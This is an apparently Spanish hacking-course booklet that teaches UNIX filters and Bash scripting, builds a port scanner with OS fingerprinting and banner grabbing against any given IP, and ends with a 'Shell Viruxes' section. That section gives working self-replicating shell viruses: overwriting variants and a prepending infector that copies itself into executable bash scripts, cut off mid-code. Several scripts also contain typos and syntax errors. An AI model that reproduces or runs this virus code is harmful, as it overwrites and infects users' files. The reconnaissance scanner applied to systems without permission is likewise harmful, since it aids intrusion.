Semana28 P
Semana28 P
Semana28 P
índice:
1 Introducción
2 Filtros en UNIX
3 Programación Bash
4 PrOyExTo - Scanner de Puertos
5 Shell Viruxes
6 Prácticos
1º Introducción
Los filtros serán de mucha ayuda para crear programas Bash que
requieran manejar variables cuyo contenido es una porción específica
de la salida de algún comando o bien ejecutar otros que nos den
solamente la información de nuestro interés, ahorrándonos tiempo y
dejándoles sorprender a todo su Admin & Networking Department B).
2º Filtros en UNIX
Antes de empezar a jugar con los filtros tendremos que estudiar algo
que será común al trabajar con ellos. Aprendamos un poco sobre las
expresiones regulares y los metacaracteres.
Otra cosa a tener en cuenta son los metacaracteres, estos son (al
igual que en el shell de Microfost Fuindougs) los caracteres especiales
interpretados por el shell de forma distinta.
Los caracteres con significado especial para el shell son: “.”, “*”, “^”,
“$”, “[”, “]”, “{”, “}”, “|”, “(”, “)”, “+”, “?” y “\”.
No empiecen con las ganas de llorar ahora, esperen y junten más :P,
acompáñenme por otro par de páginas, comencemos con los filtros…
bash-2.05b$ ls -l | grep ^d
Ahora si tenemos una agenda más funcional, ya que con la opción “-i”
busca el teléfono de “tiazinha” en la “agenda” ubicada en nuestro
directorio personal, sin fijarse en mayúsculas o minúsculas.
Continuando, aparte de “grep” tenemos dos filtros más de la misma
familia, estos son “fgrep” y “egrep”. Básicamente estos filtros tienen
el mismo comportamiento que “grep” salvando, como deben suponer,
algunas diferencias :B…
bash-2.05b$ ls -l | sort –f
bash-2.05b$ ls -s | sort –n
Clasifica los archivos por tamaño, los más pequeños irán primero.
bash-2.05b$ who | sort +4n
bash-2.05b$ who
root tty1 May 7 10:29
darkhis tty2 May 7 10:29
neuromante tty3 May 7 10:46
sort -t:
sort -t/
Creo que está claro pero por las dudas aclaro :P… aquí nos movemos
hasta el cuarto caracter del segundo campo, ordenándolos con “sort”
para que muestre la salida en orden de las terminales ;).
Muchos son los comandos que podemos utilizar con “sed”, la mayoría
derivan de “ed”, un editor pequeño que está disponible en cualquier
UNIX. Actualmente “vi” es más potente y como saben también está
en todos los UNIX pero bueno… la idea de “sed” viene de este viejo
editor y por eso lo menciono :).
Para arreglar este problema podemos valernos del patrón “/./”, que
concuerda con cada línea que tenga al menos un caracter sin ser el
de “nueva línea”. El comando mejorado quedaría así…
Como he comentado al inicio del tema debemos tener cuidado con los
caracteres especiales ya que de colocarlos mal serán interpretados en
el shell o “sed” en lugar de cumplir la función de ser, por ejemplo, un
texto a buscar, veamos un ejemplo para buscar un carácter especial
dentro de un archivo…
Los argumentos obligatorios son solamente estos dos. Luego con “-F”
podemos cambiar el separador de campos que por defecto es espacio
o tabulador, por otro lado “-f” lee un programa desde un archivo en
lugar de hacerlo desde la línea de comandos.
Tinto 24 50
Rosado 27 30
Blanco 28 0
Cortado 21 70
Rebajado 11 546
Al interpretar este archivo (ya verán como) awk divide a cada renglón
en campos (por defecto separados con espacios o tabuladores).
Estos campos se llaman $1, $2, $3… NF, donde “NF” es una variable
cuyo valor es igual al número total de campos. Noten que el conteo
de campos comienza por “1” y no por “0”, que ya verán que contiene.
patrón { acción }
patrón { acción }
…
El primero se ejecuta antes de que se lean los datos por lo que puede
usarse para inicializar variables, para especificar variables de campo
con FS, etc… Veamos un ejemplo con BEGIN…
Esto no tiene que producir ninguna salida, si les aparece una salida
les recomiendo ahorcarse con el cable de red, sabiendo que no
entendieron porque hice eso continúo %)…
Ahora vamos a un ejemplo con END, patrón que indicará las acciones
a tomar una vez leídas todas las líneas. Un ejemplo de la vinería…
v += $1
s = 15
s = “hola”
Esto nos conduce a que AWK conoce dos tipos de valores, numéricos
y cadenas. Las cadenas son secuencias de caracteres y se encierran
entre comillas (“una cadena”), los numéricos se escriben al vuelo.
Antes de pasar al control de flujo me resta decir que awk tomará todo
lo que esté después de un “#” en una línea como un comentario, es
decir que no tiene validez para el intérprete y sirve para aclarar el
código, tanto para los demás como para nosotros mismos, ya que
olvidarse de las cosas es muy natural en Uds. los humanos [-^-].
Control de flujo…
Como todo lenguaje de programación, AWK tiene control de flujo. Me
supongo que ya estamos un poquito acostumbrados a esto pero igual
voy a explicar como se lleva a cabo en este lenguaje. Empecemos con
“if-else”, para tomar decisiones…
if(condición)
cuerpo1
else
cuerpo2
while(condición) {
cuerpo
}
Un bucle significa que esta parte del programa puede ser ejecutado
varias veces, en este caso nuestra “condición” controlará cuantas
veces se ejcutará el cuerpo, por ejemplo…
\n Nueva línea.
\t Tabulador.
\ Pitido :P.
Tal cual habíamos acordado sigamos con la sentencia “break” :P, que
nos ayuda a salir del “for” o “while” más interno.
…estudien este caso con detenimiento :·Y… una pista?¿, debuguén ;).
01235678910bash-2.05b$
Se entiende?¿, véanlo y síganme los buenos 8)…
Arrays en awk…
array[indice]
array[indice] = valor
yolanda 7014830
pizzeria 7112998
juliana 9547467
johny 7014831
jenny 9696969
darkhis 8
ch labs 9
analia 2696969
No les deja ejecutar el archivo?¿, que macana :B. Ahora supongamos
que tenemos los siguientes deudores.txt (en litros) de la vinería…
Ronaldo 200
Bambino 300
Ronaldo 100
Paris 500
Paris 100
Bambino 200
Johny 300
Ronaldo 200
for(variable in array)
cuerpo
El resultado…
Por ejemplo…
ch[1] = "hacker",
ch[2] = "de"
ch[3] = "elite".
Seguimos…
Ejemplo 1.
Veamos una combinación de filtros que ejecutada con permisos de
root me da mi dirección IP (modifiquen la interfase para su caso)…
bash-2.05b# ifconfig ppp0 | awk -F: '{ print $2 }' | sed -n '2p'
| awk '{ print $1 }'
200.40.69.31
Después de esto nos valemos del editor de flujos “sed” para escupir
únicamente la segunda línea.
Ejemplo 2.
Esta combinación de filtros nos lista los usuarios que se conectaron
en cualquier momento de la hora 18…
bash-2.05b$ who | awk '{ print $1" " $5 }' | egrep 18:+
neuromante 18:52
Ejemplo 3.
Ver los puertos estándar TCP en nuestro UNIX…
Y para los que se quedaron con ganas… esos que llegaron hasta acá
sin volver a la primera página (porque hasta ahora ha sido muy fácil),
les tengo una sorresa…
Con esto doy por terminado la parte de filtros, recuerden que antes
de seguir es obligación investigar y probar estos últimos comandos,
espero que les haya agradado y puedan percibir el poder que tienen
entre sus suaves manitas.
3º Programación Bash
bash-2.05b$ pwd
/home/darkhis
bash-2.05b$ echo $?
0
bash-2.05b$ sogtulakk
bash: sogtulakk: command not found
bash-2.05b$ echo $?
127
Ejemplo 1.
En este primer ejemplo casi no usaremos nada nuevo pero podremos
ver algunos conceptos importantes. El siguiente script levantará la
red en mi podadora con GNU/Linux Slackware 93.7 FM…
#!/bin/bash
# levanta la red, correr como root.
ifconfig eth0 192.168.100.1 netmask 255.255.255.0
route add -net 192.168.100.0 netmask 255.255.255.0 dev eth0
echo "Red levantada."
bash-2.05b# ./red.sh
Red levantada.
#!/bin/bash
# levanta la red, correr como root.
case $1 in
-a) ifconfig eth0 192.168.1.1 netmask 255.255.255.0;
route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0;
echo "Red levantada.";;
-b) ifconfig eth0 down;
echo "Red abajo.";;
*) echo "Uso: ./red.sh -a (levanta la red)
-b (baja la red)";;
esac
caso $comoestoy en
sobrio) escribir "Cómprese un vino y póngase a tono.";
fumado) escribir "Vuele, no maneje.";
hastalasmanos) escribir "Ir para el sobre y evitar papelones";
fin caso
case palabra in
patron1) comando1; comando2, ...;;
patron2) comando3, comando4, comando5, ...;;
patron3) comando8, comando9, ...;;
...
esac
bash-2.05b$ sh script.sh
bash-2.05b$ bash -x script.sh
#!/bin/bash
# Programa estúpido que nos dice que día es hoy
case $# in
0) set 'date'; d=$1;;
*) echo "Uso: ./quediaeshoy.bash"
esac
case $d in
Mon) d="Lunes";;
Tue) d="Martes";;
Wed) d="Miercoles";;
Thu) d="Jueves";;
Fri) d="Viernes";;
Sat) d="Sabado";;
Sun) d="Domingo";;
Osv) d="Osvaldo";;
esac
echo $d
Este ejemplo introduce algunos conceptos nuevos, en primer lugar la
variable “$#” que hace que el script sea ejecutado solo cuando se lo
llama sin parámetros (0), mientras que por otra parte tenemos al
comando “set”. Veamos como actúa con un ejemplito…
bash-2.05b$ who
darkhis tty2 Aug 10 14:02
bash-2.05b$ set 'who'
bash-2.05b$ echo $1
darkhis
bash-2.05b$ echo $2
tty2
bash-2.05b$ echo $5
14:02
bash-2.05b$ ./quediaeshoy.bash
Martes
#!/bin/bash
for archivo in /home/darkhis/scrptawk/*; do
echo "Agregando extensión awk a $archivo..."
mv $archivo $archivo.awk
sleep 1
done
bash-2.05b$ ./soyelcacahuatesupremo.sh
Agregando extension awk a /home/darkhis/scrptawk/satehijack...
Agregando extension awk a /home/darhhis/scrptawk/freephonecal...
Agregando extension awk a /home/darkhis/scrptawk/tcpspoofer...
Si están atentos notarán que aquí tenemos “un problema” ya que los
operadores “*” y “/” también son caracteres especiales y podrían ser
interpretados de forma diferente a la deseada.
Para solucionar este tema contamos con “\” (el caracter de escape),
por lo que para ejecutar una multiplicación deberemos colocar “\*” en
lugar de simplemente “*”, para ejecutar una división debemos poner
“\/” en lugar de solo “/”… del mismo modo para otras expresiones u
operaciones.
“expr” también admite paréntesis en las operaciones, los cuales tanto
para abrir como para cerrar deberán estar escapados. Ejemplos…
#!/bin/bash
# El siguiente programa cuenta y nombra los archivos en el
# directorio actual utilizando for
CONTAR=0 # Se inicializa la variable CONTAR a 0.
for ARCHIVOS in *
do
echo $ARCHIVOS
CONTAR='expr $CONTAR + 1' # Sumamos 1 por archivo encontrado.
done
echo Hay $CONTAR archivos en el directorio actual.
bash-2.05b$ ./contatealgo.bash
archivo
conexion.sh
contatealgo.bash
iptables.sh
mensajedeldia.bash
quediaeshoy.bash
soyelcacahuatesupremo.sh
test.sh
test2.sh
vinofiado.sh
vinovendido.sh
virusmalevolo(paratrabajoengrupo)3.11.tar.gz
Hay 12 archivos en el directorio actual.
if condición
then
comandos que se ejecutan si la condición es verdadera
else
comandos que se ejecutan si la condición es falsa
fi
if condición
then
comandos
fi
if condición
then
comandos
else if condición
then
comandos
else if condición
...
fi
fi
...
#!/bin/bash
#El script muestra un mensaje distinto según el día de la semana
set 'date'; d=$1
if [ $1 == "Mon" ]
then
echo "Buen dia, el primero de la semana, que les sea leve ;)."
else if [ $1 == "Tue" ]
then
echo "Tenemos un corte en el sistema debido a mantenimiento, "
echo "disculpe las molestias, trabajamos para mejorarlo :P."
else if [ $1 == "Wed" ]
then
echo "Hola que tal?¿, por ser miercoles y como todos los "
echo "miercoles, cenaremos en el restaurante de siempre y "
echo "bailaremos hasta que las velas ardan, en caso de no poder"
echo "asistir avise a la administracion. <:o)"
else if [ $1 == "Thu" ]
then
echo "Estamos de festejo, este dia pasara a ser historico para"
echo "nuestra empresa. Hemos cerrado un trato mnultimillonario"
echo "con la famosa multinacional Gungle. Todos los empleados"
echo "pasaran a ganar el doble y el dueño 490 veces más :9."
else if [ $1 == "Fry" ]
then
echo "Lamentamos informarles que el trato con Gungle fracaso "
echo "y todos estan despedidos, me fui con toda la teca en
echo "helicóptero, suerte en la proxima >)."
fi
fi
fi
fi
fi
bash-2.05b$ ./mensajedeldia.bash
Hola que tal?¿, por ser miercoles y como todos los
miercoles, cenaremos en el restaurante de siempre y
bailaremos hasta que las velas ardan, en caso de no poder
asistir avise a la administracion. <:o)
if ...
then ...
elif ...
then ...
elif ...
then ...
...
fi
bash-2.05b$ PATH=$PATH:/home/darkhis/bin
Además del “for” y como todos esperan tenemos otros ciclos listos
para utilizar, estos son “while” y “until”, los cuales a diferencia del
anterior se caracterizan por esperar sucesos.
Por otro lado, “until” ejecuta el cuerpo mientras el comando sea falso,
por lo que cuando se haga verdadero se dejará de ejecutar (“until” =
“hasta”).
while comando
do
cuerpo mientras el comando sea verdadero
done
until comando
do
cuerpo hasta que el comando se haga verdadero
done
Entre los ejemplos más simples del ciclo “while” está la útil capacidad
de esperar a que alguien inicie sesión…
Como ejercicio realicen un script que nos permita elegir que usuario
esperar, asegúrese de que compruebe el número de argumentos e
instálenlo en su directorio bin, luego mostrar a su profemarido.
Estos ciclos son buenos para hacer que se ejecuten acciones cada
determinado tiempo, entregarnos recordatorios, limpiar todo después
de que se va nuestra hermana de 13 años adicta a las fotos de emos
o realizar tareas a horas que no estamos… use your imagination!.
#!/bin/bash
if test -f archivo
then
chmod u+x archivo
fi
Este script comprueba por “if” si “archivo” existe y tiene atributos de
archivo común, de ser así se ejecuta la parte “then”, o sea que se le
cambian los permisos y se hace ejecutable para el dueño.
En cuanto a archivos…
En cuanto a números…
#!/bin/bash
echo "FBI!, Ud. Esta haciendo algun Curso Hacker?:"
read respuesta1
echo "Ud. Conoce alguna tecnica de Hacking?:"
read respuesta2
if test "$respuesta1" = "$respuesta"
then
echo "Ud. es un habil declarante :)."
else
echo "Mmm.. es mejor que practique o iremos todos pal calabozo."
fi
bash-2.05b$ ./indagatoria-sorpresa.bash
FBI!, Ud. Esta haciendo algun Curso Hacker?:
Claro que no
Ud. Conoce alguna tecnica de Hacking?:
Claro que no
Ud. es un habil declarante :).
#!/bin/bash
#Peligroso programa detector de introduccion y huida via telnet.
nuevo=/tmp/ttelnet1.$$
viejo=/tmp/ttelnet2.$$
netstat -t > $viejo # crea el primer netstat
while : # esto es un cliclo eterno
do
netstat -t > $nuevo
diff $viejo $nuevo
mv $nuevo $viejo
sleep 1
done | awk '/>/ { $1 = "Entro: "; print $1, $6 }
/</ { $1 = "Se pelo: "; print $1, $6 }'
Aparte, no queda muy bien que se imprima toda la línea del netstat y
considero que con solo la IP nos bastará así que utilizando “awk”
también le damos una salida con un formato más ajustado.
bash-2.05b$ ./vigilantebotonalcahueteantichorro.bash
Entro: 192.168.100.7:1029
Se pelo: 192.168.100.7:1029
Este programa tiene muchos errores aparte de no hacer exactamente
lo que nosotros queremos :P, ya que por ejemplo no actuará a partir
de telnet sino que reaccionará con cualquier puerto TCP XD.
Si quieren hacer que funcione solo para telnet tendrán que utilizar un
filtro más poderoso, en este caso uno combinando “sed”, “egrep”,
“cut” y algo mas sobre “netstat”, se los dejo a Uds., vuelvan cuando
hayan terminado…
Tic tac toe, tic tac toe, tic tac toe :P…
… tic tac toe, tic tac toe… (pero que buen sonido), tic tac toe…
blah blah bloeh, blah blah bloeh… pero que bien :D !!!!
y… la la loe, la la loe… la la loe, Vamos todos :) !!, terminaron?¿…
… la la la tic tac toe, tic blah bloe :P… casi me hice adicto :B
… y como nunca van a terminar, procedo… procedo, procedoe :P.
Sigo, sigo, sigoe XD… Entonces, para esto (lo anterior que Uds. no
pudieron hacer), utilizaremos un comando muy complejo, que vamos
a tener que estudiar bastante para entenderlo, al igual que deberán
repasar la salida de netstat con sus campos.
Pero antes, hay otro error en el script relacionado con los archivos en
“tmp”. Cuando el programa es interrumpido se deben borrar estos
archivos, lo cual me da paso para explicar el tema de las señales y el
comando “trap” para detectar interrupciones.
#!/bin/bash
#Primera mejora y ya quedo saladisimo ;).
nuevo=/tmp/ttelnet1.$$
viejo=/tmp/ttelnet2.$$
netstat | sed 's/[[:space:]]\+/ /g' | egrep "tcp 0 0
[^[:space:]]+:telnet.*$" | cut -d " " -f 5 > $viejo
trap 'rm -f $nuevo $viejo; exit 1' 1 2 15
while :
do
netstat | sed 's/[[:space:]]\+/ /g' | egrep "tcp 0 0
[^[:space:]]+:telnet.*$" | cut -d " " -f 5 > $nuevo
diff $viejo $nuevo
mv $nuevo $viejo
sleep 1
done | awk '/>/ { $1 = "Entro: "; print $1, $2 }
/</ { $1 = "Se pelo: "; print $1, $2 }'
Con el primer “sed” filtramos la salida del comando netstat para que
los espacios blancos (como por ejemplo tabuladores) se conviertan en
espacios blancos comunes.
Luego utilizamos el comando “egrep” para que se vean las líneas que
empiecen con “tcp 0 0 ” (recuerden de ver bien la salida del comando
“netstat” sin filtrados). Posteriormente y con el mismo “egrep” se
imprimen las líneas que no son espacios blancos ni tabuladores luego
de “tcp 0 0 ”, campo que además deberá terminar con “:telnet.*$”.
function algo
{
comandos
}
#!/bin/bash
algo
...
function algo()
{
comandos
}
…pues así creamos y llamamos a una función del shell, en donde los
comandos son su cuerpo y alma.
En casa de herrero cuchillo de palo así que con todo a favor, intentaré
ser breve y dirigir dignamente el proyecto que nos espera…
Sin más que hablar pasemos veamos la versión 0.1 del scanne r…
#!/bin/bash
# Estupido scanner de puertos comunes, esta version
# tiene muchos horrores.
# Por ahora hacemos que el scanner solo funcione en localhost y
# actuamos sobre los puertos 21, 22, 23 y 79.
# Esta es la version 0.1 y contiene mas que nada "la idea".
telnet localhost 21 > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner1.$$)
then
echo " -> puerto ftp abierto"
else
echo " -> puerto ftp cerrado"
fi
telnet localhost 22 > /tmp/sscanner2.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner2.$$)
then
echo " -> puerto ssh abierto"
else
echo " -> puerto ssh cerrado"
fi
telnet localhost 23 > /tmp/sscanner3.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner3.$$)
then
echo " -> puerto telnet abierto"
else
echo " -> puerto telnet cerrado"
fi
telnet localhost 79 > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner4.$$)
then
echo " -> puerto finger abierto"
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*
bash-2.05b$ ./sscanner01.bash
Connection closed by foreign host.
Connected to localhost.
-> puerto ftp abierto
telnet: connect to address 127.0.0.1: Connection refused
-> puerto ssh cerrado
Connection closed by foreign host.
Connected to localhost.
-> puerto telnet abierto
Connection closed by foreign host.
Connected to localhost.
-> puerto finger abierto
Por último borramos los archivos creados, que pronto tendrán mayor
participación para darle “color” a nuestro programa ;).
#!/bin/bash
# Mejorado con una salida mas bonita. sscanner02.bash v 0.2
telnet localhost 21 2>/dev/null > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner1.$$ > /dev/null)
then
echo " -> puerto ftp abierto"
else
echo " -> puerto ftp cerrado"
fi
telnet localhost 22 2>/dev/null > /tmp/sscanner2.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner2.$$ > /dev/null)
then
echo " -> puerto ssh abierto"
else
echo " -> puerto ssh cerrado"
fi
telnet localhost 23 2>/dev/null > /tmp/sscanner3.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner3.$$ > /dev/null)
then
echo " -> puerto telnet abierto"
else
echo " -> puerto telnet cerrado"
fi
telnet localhost 79 2>/dev/null > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner4.$$ > /dev/null)
then
echo " -> puerto finger abierto"
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*
Veamos la nueva salida ahora…
bash-2.05b$ ./sscanner02.bash
-> puerto ftp cerrado
-> puerto ssh cerrado
-> puerto telnet abierto
-> puerto finger abierto
#!/bin/bash
# En esta version incluimos banner scanner !!! Im so c00l! :)
telnet localhost 21 2>/dev/null > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner1.$$ > /dev/null)
then
echo " -> puerto ftp abierto"
cat /tmp/sscanner1.$$
else
echo " -> puerto ftp cerrado"
fi
telnet localhost 22 2>/dev/null > /tmp/sscanner2.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner2.$$ > /dev/null)
then
echo " -> puerto ssh abierto"
cat /tmp/sscanner2.$$
else
echo " -> puerto ssh cerrado"
fi
telnet localhost 23 2>/dev/null > /tmp/sscanner3.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner3.$$ > /dev/null)
then
echo " -> puerto telnet abierto"
cat /tmp/sscanner3.$$
else
echo " -> puerto telnet cerrado"
fi
telnet localhost 79 2>/dev/null > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner4.$$ > /dev/null)
then
echo " -> puerto finger abierto"
cat /tmp/sscanner4.$$
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*
bash-2.05b$ ./sscanner03.bash
-> puerto ftp abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [chteam]
-> puerto ssh abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
-> puerto telnet abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
-> puerto finger abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Observen esto…
#!/bin/bash
# En esta version incluimos banner scanner !!! Im so c00l! :)
# Mejorado gracias al buen amigo netcat.
telnet localhost 21 2>/dev/null > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner1.$$ > /dev/null)
then
echo " -> puerto ftp abierto"
cat /tmp/sscanner1.$$
else
echo " -> puerto ftp cerrado"
fi
nc localhost 22 2>/dev/null > /tmp/sscanner2.$$ &
sleep 2
if(grep "SSH" /tmp/sscanner2.$$ > /dev/null)
then
echo " -> puerto ssh abierto"
cat /tmp/sscanner2.$$
else
echo " -> puerto ssh cerrado"
fi
nc -t localhost 23 2>/dev/null > /tmp/sscanner3.$$ &
sleep 2
if(grep "login" /tmp/sscanner3.$$ > /dev/null)
then
echo " -> puerto telnet abierto"
cat /tmp/sscanner3.$$
else
echo " -> puerto telnet cerrado"
fi
telnet localhost 79 2>/dev/null > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner4.$$ > /dev/null)
then
echo " -> puerto finger abierto"
cat /tmp/sscanner4.$$
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*
bash-2.05b$ ./sscanner04.bash
-> puerto ftp abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [chteam]
-> puerto ssh abierto
SSH-1.99-OpenSSH_3.5p1
-> puerto telnet abierto
?? ?? ??#??'?? ?? ??????!?? ?? Conectado a 69.69.69.69
Windows 76 (c) - Power Calc v0.34 beta
CursoHacker Telnet Server v69.7 ready.
login: -> puerto finger abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
bash-2.05b$ ./sscanner041.bash
-> puerto ftp abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [chteam]
-> puerto ssh abierto
SSH-1.99-OpenSSH_3.5p1
-> puerto telnet abierto
?? ?? ??#??'?? ?? ??????!?? ?? Conectado a 69.69.69.69
Windows 76 (c) - Power Calc v0.34 beta
CursoHacker Telnet Server v69.7 ready.
login:
-> puerto finger abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
---------------------------------------------------------------------
Want account? New users... Login under -> "NEWUSER"/Password="NEWUSER"
"Guest" access to a DCL prompt Login Under -> "DEMO"/Password="USER"
To play the online GAMES.. Login under -> "GAMES"/Password="PRESSPLAY"
----------------------------------------------------------------------
Note: MANSON is the _slower_ machine in the cluster. You can use
DAHMER.VISTECH.NET, which is faster, and all you files will be
available.
Username:
Pasemos al ejemplo…
#!/bin/bash
# Prueba para detectar sistema operativo
ttl='ping -c 1 192.168.100.12 | sed -n 2p | awk '{ print $6'} |
awk 'BEGIN {FS = "="} END {print $2}' '
case "$ttl" in
128) echo "El Sistema Operativo remoto es Gringoüs."
esac
bash-2.05b$ ./pruebaos.bash
El Sistema Operativo remoto es Gringoüs.
Sistema TTL
DC-OSx 30
Windows 9x/NT 32
NetApp 54
HPJetDirect 59
AIX 4.3.x 60
AIX 4.2.x 60
Cisco 11.2 60
DigitalUnix 4.0 60
IRIX 6.x 60
OS390 2.6 60
Reliant 5.43 60
FreeBSD 3.x 64
JetDirect G.07.x 64
Linux 2.2.x/2.4.x 64
OpenBSD 2.x 64
OS/400 R4.4 64
SCO R5 64
Solaris 8 64
FTX(UNIX) 3.3 64
Unisys 64
Netware 4.11 128
Windows 9x/NT 128
Windows 2000 128
Cisco 12.0 255
Solaris 2.x 255
#!/bin/bash
# Deteccion del sistema operativo con el metodo ttl, ademas de
# interactividad pudiendo colocar la IP del servidor a escasear
# e ir haciendo "pruebitas" por ahi :B.
case $# in
0) echo "Uso: ./sscanner05.bash ip" 1>&2; exit 1
esac
ip="$1"
telne $ip 21 2>/dev/null > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to $ip." /tmp/sscanner1.$$ > /dev/null)
then
echo " -> puerto ftp abierto"
else
echo " -> puerto ftp cerrado"
fi
telnet $ip 22 2>/dev/null > /tmp/sscanner2.$$ &
sleep 2
if(grep "Connected to $ip." /tmp/sscanner2.$$ > /dev/null)
then
echo " -> puerto ssh abierto"
else
echo " -> puerto ssh cerrado"
fi
telnet $ip 23 2>/dev/null > /tmp/sscanner3.$$ &
sleep 2
if(grep "Connected to $ip." /tmp/sscanner3.$$ > /dev/null)
then
echo " -> puerto telnet abierto"
else
echo " -> puerto telnet cerrado"
fi
telnet $ip 79 2>/dev/null > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to $ip." /tmp/sscanner4.$$ > /dev/null)
then
echo " -> puerto finger abierto"
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*
ttl=`ping -c 1 $ip | sed -n 2p | awk '{ print $6'} | awk 'BEGIN
{FS = "="} END {print $2}'`
case "$ttl" in
30) echo " Sistema operativo: DC-OSx";;
32) echo " Sistema operativo: Windows 9x/NT";;
54) echo " Sistema operativo: NetApp";;
59) echo " Sistema operativo: HPJetDirect";;
60) echo " Posibles sistemas operativos: AIX 4.3.x
AIX 4.2.x
Cisco 11.2
DigitalUnix 4.0
IRIX 6.x
OS390 2.6
Reliant 5.43";;
64) echo " Posibles sistemas operativos: FreeBSD 3.x
JetDirecit G.07.x
Linux 2.2.x/2.4.x
OpenBSD 2.x
OS/400 R4.4
SCO R5
Solaris 8
FTX(UNIX) 3.3
Unisys";;
128) echo " Posibles sistemas operativos: Netware 4.11
Windows 9x/NT
Windows 2000";;
255) echo " Posibles sistemas operativos: Cisco 12.0
Solaris 2.x";;
esac
Como pueden apreciar esta versión no incluye la parte del “banner
scanner”, funcionalidad que reincorporaremos cuando mejoremos el
código en versiones posteriores.
Ya saben como mejorar este aspecto ya que hace unas páginas vimos
el mismo problema… Hacer programas seguros es muy importante si
quieren lograr que otras personas usen sus herramientas, además de
proteger su privacidad. Recuerden: Cuando hablamos de seguridad
informática todo debe ser lo más hermético y sigiloso que podamos.
#!/bin/bash
# SScaNNer v0.6
function mensaje()
{
echo "###################################################"
echo "# sScaNnEr v0.6 #"
echo "# Alumnoz y CH un solo CoRaZoN (L) #"
echo "# www.CursoHacker.com #"
echo "###################################################"
function uso()
{
function simple()
{
trap 'rm /tmp/sscanner*; exit 1' 1 2 15
rm /tmp/sscanner*
}
function opsys()
{
ttl=`ping -c 1 $ip | sed -n 2p | awk '{ print $6'} | awk
'BEGIN {FS = "="} END {print $2}'`
case "$ttl" in
30) echo " Sistema operativo: DC-OSx";;
32) echo " Sistema operativo: Windows 9x/NT";;
54) echo " Sistema operativo: NetApp";;
59) echo " Sistema operativo: HPJetDirect";;
60) echo " Posibles sistemas operativos: AIX 4.3.x
AIX 4.2.x
Cisco 11.2
DigitalUnix 4.0
IRIX 6.x
OS390 2.6
Reliant 5.43";;
64) echo " Posibles sistemas operativos: FreeBSD 3.x
JetDirecit G.07.x
Linux 2.2.x/2.4.x
OpenBSD 2.x
OS/400 R4.4
SCO R5
Solaris 8
FTX(UNIX) 3.3
Unisys";;
128) echo " Posibles sistemas operativos: Netware 4.11
Windows 9x/NT
Windows 2000";;
255) echo " Posibles sistemas operativos: Cisco 12.0
Solaris 2.x";;
esac
}
function banner()
{
trap 'rm /tmp/sscanner*; exit 1' 1 2 15
rm /tmp/sscanner*
}
if [ ! $# == 2 ]
then
uso;
exit;
fi
ip="$2"
if [ "$1" == "-h" ]
then
mensaje;
uso;
exit
fi
if [ "$1" == "-s" ]
then
mensaje;
simple;
exit
fi
if [ "$1" == "-o" ]
then
mensaje;
opsys;
exit
fi
if [ "$1" == "-b" ]
then
mensaje;
banner;
exit
fi
1-Una opción.
2-El host a escanear.
5º Shell Viruxes
##################
# sobreescritura #
##################
for archivo in *
do
cp $0 $archivo
done
Lo que hace nuestro bichito es muy sencillo, el “for” nos dice que por
cada archivo en el directorio actual (*), copie el primer argumento
($0) o sea el virus, en el archivo.
bash-2.05b$ ./1.bash
cp: `./1.bash' and `1.bash' are the same file
bash-2.05b$ cat estilista
##################
# sobreescritura #
##################
for archivo in *
do
cp $0 $archivo
done
######################################
# sobreescritura con algunos chekeos #
######################################
for archivo in *
do
if test -f $archivo # comprobamos que se trata de un archivo
then
if test -x $archivo # comprobamos que sea ejecutable
then
if test -w $archivo # comprobamos tener permisos de escritura
then
if grep -s '#!/bin/bash' $archivo > /dev/null # busca el patron
then
cp $0 $archivo
fi;
fi;
fi;
fi;
done
#!/bin/bash
ls -l;
####################
# virus prepending #
####################
for archivo in *
do
if test -f $archivo # comprobamos que se trata de un archivo
then
if test -x $archivo # comprobamos que sea ejecutable
then
if test -w $archivo # comprobamos tener permisos de escritura
then
if grep -s '#!/bin/bash' $archivo > /dev/null # busca el patron
then
head -21 $0 > temporal
cat $archivo >> temporal
mv temporal $archivo
fi;
fi;
fi;
fi
done
Lo nuevo y descabellado es el uso del comando “head”, con el cual se
copiarán las primeras 21 líneas del virus (si cuentan verán que tiene
21) a un archivo temporal para procesarlo y dejarlo al inicio del script
que infectará, los más inteligentes ya le habrá encontrado la lógica.
# SoyunAlumno
for archivo in *
do
if test -f $archivo
then
if test -x $archivo
then
if test -w $archivo
then
if grep -s '#!/bin/bash' $archivo > /dev/null
then
if ! grep -s SoyunAlumno $archivo > /dev/null
then
head -22 $0 > temporal
cat $archivo >> temporal
